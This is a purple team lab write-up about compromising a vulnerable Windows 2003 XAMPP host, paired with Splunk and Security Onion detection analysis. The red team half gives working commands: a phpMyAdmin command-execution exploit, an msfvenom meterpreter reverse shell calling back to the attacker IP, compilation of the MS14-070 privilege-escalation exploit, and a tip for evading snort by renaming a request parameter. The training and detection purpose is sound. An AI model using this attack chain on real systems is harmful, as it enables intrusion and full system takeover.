Purple Team Exercises: Zoidberg
This is the first of four vulnerable OS exercises I presented at at lunch and learn hosted by my employer. I designed these to simulate malicious attacks and validate the visibility of an IDS/SIEM. My team VPN’d into the vulnerable network, exploited the machines, identified critical log events and summarized the red & blue team efforts. The goal is to stress the importance of an internal sandbox, where we can test our controls and how they/we respond to attacks.
I’ll be using Splunk’s free license(500mb/day), but you could use ELK with no limitations.
Each teams actions are divided by offense (red) and defense (blue). Depending on the attack, the blue team may or may not have visibility into the malicious actions. This article is meant to highlight both areas, and help suggest additional controls that may fill the gaps.
If you’d like to setup your own HomeIDS, check out my video tutorial: Intrusion Detection System Tutorial: Setup Security Onion
*Not formatted for mobile viewing, use a full screen monitor for the best experience.
I’ll start the first Vuln host with a basic nmap scan. Based on the open ports it returns, I’ll run a more focused and intense scan
I followed up with a more detailed scan. You can get crazy here with the scripts, but it isn’t going to help us.
nmap -sV -O -p 80,139,443 192.168.0.251 –script=safe -oA nmap
Netbios and SMB open
OS guess, actual OS is Windows 2003 Server
Hostname of Zoidberg
Potential vuln, but 445 is not listening
After the nmap scans, I ran nikto against the web server:
nikto -h http://192.168.0.251/ -output zoid.nikto.txt
We’re dealing with apache, openssl, php and a few web directories, specifically: phpmyadmin
I browsed to the root directory to find a default apache page
I manually browsed to other sites found in the scan, but for this scenario, we’ll be focusing on phpmyadmin
Let’s use dirbuster to look for additional web dirs
Based on the dir’s found, it looks like XAMPP is installed… We got a HTTP 200 response for a few pages to check out
We found a few pages that are listening, but we’re going to focus on phpmyadmin for this box. Before we go down that route, let’s continue to enumerate open ports on the machine
Research our options to exploit phpmyadmin and we don’t have to look far for a solutions
I copied the raw exploit data into a file, setup.sh
chmod +x setup.sh
Because this is a windows server, we substitute “ls+-l+” with “dir”
Our exploit worked, and displays the contents of the current directory. Looks like we can browse the file system and potentially execute files. Now we need to figure out how to upload a payload and execute it.
We have the ability to traverse directories on the webserver, now lets look for a way to upload a payload. Our nmap scan found port 139 open, so lets run an smbclient scan for open shares:
smbclient -L 192.168.0.251
We see a non-default user share “Harold”, so let’s attempt to login. Without a password we can login to find a txt file, and also the ability to download data
We have upload permissions on this folder as well, so let’s generate our payload. I had to use a stageless payload because of an issue with my VPN.
msfvenom -p windows/meterpreter_reverse_tcp lhost=10.242.2.2 lport=1234 -f exe -o met.exe
Upload the payload to the machine
As the attacker, now we have our payload uploaded to the host, and have directory traversal capabilities with our phpmyadmin exploit. Let’s continue to browse through the file system o find and execute our payload:
In a browser, go to the following server path:
With the last command, we can see the dir containing out payload:
Now that we can see our payload, let’s setup a listener on Kali:
set payload windows/meterpreter_reverse_tcp
set lhost 10.242.2.2
set lport 1234
We then browse to the site:
And get a reverse listener!
Now that we have our reverse shell, lets interact with it!
sessions -i 1
apt-get install git python-xlrd -y
git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
python windows-exploit-suggester.py –update
python windows-exploit-suggester.py -d xxx-xx-xx-mssb.xls -i systeminfo (Substitute x’s with your file date)
Based on our results, let’s give ms14-070 a shot:
cp /usr/share/exploitdb/exploits/windows/local/37755.c .
File tells us how to compile it, but we can’t use this exact version
apt-get install mingw-w64
i686-w64-mingw32-gcc 37755.c -o ms14-070.exe -lws2_32
If we try and compile without modification, we get the following error:
When we lookup the error:
This is the fix:
REMOVE: typedef LONG NTSTATUS
REPLACE: typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
Now we can compile:
i686-w64-mingw32-gcc 37755.c -o ms14-070.exe -lws2_32
In our meterpreter shell, browse to the current users’ Desktop and upload our exploit:
Did not detect this upload and can’t find the payload via wireshark, must be encrypted or masked some how
Jump into a system shell and execute our payload:
Now we have system!
Let’s browse to the admin’s desktop to find a hint for the next machine:
We have the IP of our next victim, and some info to get us started!
With my Security Onion IDS, I’ll login to squert to view the alerts
Filter on zoidberg’s ip
Sort “Last Event” by oldest first
Even with a basic scan our IDS generates alerts. It doesn’t tell us an nmap scan has occurred, but alerts on VNC and SQL server port connections.
When we add the -sV, -O and “script=safe” options, snort alerts on the nmap engine specifically.
Here’s a Splunk search which I visualized to show alerts over time. Sguild is logging the snort alerts, and I’m filtering out dirbuster and nikto results
src_ip=”10.242.2.2″ dest_ip=”192.168.0.251″ sourcetype=sguild name=*SCAN* name!=*Dirbuster* name!=*Nikto* | sort 0 _time |table _time src_ip dest_ip name
You should alert on internal IP’s scanning your network. External IPs get scanned all the time, but you could increase the alert threshold before generating an alert.
Generate an alert when a scan originates from an internal IP (192.168.0.0/24, change to your subnet)
sourcetype=sguild src_ip=”192.168.0.0/24″ name=*SCAN*
Generate a splunk alert when 30 “SCAN” snort alerts flag against an external resource (change dest_ip to your host)
sourcetype=sguild dest_ip=”10.20.30.40″ name=*SCAN* | stats count by rule_name | where count > 30
Nikto generates a ton of alerts, below is just a small portion. It is not a stealthy tool and should be instantly identified if ran from an internal machine.
I organized the scans by time, alert and some source and destination IP below
earliest=05/13/2018:16:00:0 latest=05/13/2018:18:25:0 src_ip=”10.242.2.2″ dest_ip=”192.168.0.251″ rule_name!=”*DirBuster*” rule_name!=”*NMAP*” rule_name!=”*phpMyAdmin*” rule_name!=”*CVE-2014-6271*” dest_port=80 | dedup rule_name | sort 0 _time | table _time src_ip dest_ip rule_name
You may want to alert on a excessive connections to an external web server. This could indicate a targeted scan or DOS attack. Adjust the time to be 1-3 minutes, or increase the count as necessary.
sourcetype=sguild dest_ip=22.214.171.124 dest_port=80 rule_name=* | stats count by rule_name | where count > 200
Here’s the snort alerts that dirbuster generated.
I expanded the results to show two destination IPs. I ran through each machine, then did my log analysis. We’ll see dot 252 in the next write-up
I created a splunk search that looks through bro_http for the request body length “Dirbuster*” and sorts events by time, src, dest, status and uri attempted. I then filtered for status_msg 200 to determine what the scan successfully accessed:
id.orig_h=”10.242.2.2″ id.resp_h=”192.168.0.251″ sourcetype=bro_http user_agent=”DirBuster*” status_code=200 uri=”*” | sort 0 _time | dedup uri |table _time id.orig_h id.resp_h status_code uri
Alerting on dirbuster would be hit or miss, although Splunk could create an adaptive response to block an IP that hits a certain threshold. Maybe you want to see if an IP attempts more than 100 urls on your site. We ensure our logs contain a status_code with “*”. Not fool proof, maybe someone can provide recommendations. You would have to decide the time window for this alert. 100 attempts in 1 minute should indicate a scan.
sourcetype=bro_http id.resp_h=”192.168.0.251″ status_code=* | stats count by id.orig_h | where count > 100
Splunk ingested the following bro_http logs:
sourcetype=bro_http id.orig_h=”10.242.2.2″ id.resp_h=”192.168.0.251″ user_agent=*curl* | table _time id.orig_h id.resp_h user_agent status_code uri
We could alert on external IP’s successfully curling sites on our server
Where “id.orig_h!=” is set to NOT our internal subnet
sourcetype=bro_http id.orig_h!=”192.168.0.0/24″ user_agent=*curl* status_code=200
Snort generates alerts when a default share is access (or attempts to be accessed)
To get more details on the alert, click on “3.14549” and enter your squert credz
The Splunk logs don’t give us enough info about the smb transaction, we need full packet capture to get more.
In the follow capture, we see WORKGROUP Root BurpSuire (which is the attacker dns info) as well as a Server versio n(2003) and the share we attempted to access. We can also see when the attacker displayed the scripts contents as it’s displayed at the botto
The related SMB alert shows this action as well
I looked for a free AV program that ran on Windows 2003 and ClamWin met the requirements. I had to run the scan manually, but I would expect most AV/NGAV’s to pickup on this meterpreter payload. I won’t touch on AV evasion, but these tools are not fool proof.
We can run Wireshark on the packet capture, and are able to see what files were passed between each host. We can do further forensics on the intent of the payload
File -> Export Objects -> SMB/SMB2
Up to this point, snort is alerting on our traffic because our phpmyadmin payload issues “c=” in the web request. If we changed the character to something not common (ie “apfh=) snort would likely not alert 🙂
But when we execute the reverse connection, snort generates the following:
With the following splunk search , we can visualize the commands attempted by the attacker:
sourcetype=bro_http id.orig_h=”10.242.2.2″ id.resp_h=”192.168.0.251″ | table _time id.orig_h id.resp_h user_agent status_code uri
When I think a host is compromised, and I believe I know the attacking IP, I’ll do a bro_conn search on traffic between the two hosts. I only have one log source from the vuln machine, going to the attacker, and that is over port 1234, our met.exe shell. With only this info I would be difficult to determine what’s happening. We could look up this traffic in our packet capture, and if we did more forensics on the payload extracted via Wireshark, we would determine the attackers listening port was 1234.
sourcetype=bro_conn id.orig_h=192.168.0.251 id.resp_h=10.242.2.2 | table _time id.orig_h id.resp_h id.resp_p
We can look at the full packet capture and see port 1234 traffic, but unfortunately, it’s encrypted and unreadable.
The initial stages of the loading of Meterpreter are not encrypted but once loaded, all traffic is secure with TLSv1.
No native command history utility for windows. Windows 2k3 does not have ability to configure process command line like 2k8+
Based on the alerts that were already generated, it seems as if we would have enough to determine this host is compromised (attacked), and being interacted with remotely.
ClamAV & malwarebytes did not detect ms14-070.exe. I would assume some AV or NGAV would be able to identify it. The payload is complied right from the source on exploit-db.com. I tried executing this payload with malwarebytes exploit detection running, but never received an alert. I’ll have to do further research, but I would assume something could identify it.
Windows Server 2008+ is configurable to log process command line arguments. I did not find the same configuration for Windows 2003. Because of this, I do not have any visibility into the commands issued by the john and system user. The remainder of the purple team exercises will have access to these logs, and will allow us to view each of the attackers commands. I would image it’s possible to log system command in Windows 2k3, so I probably just need to do more research. Regardless this has been an exercise in determining our gaps in visibility.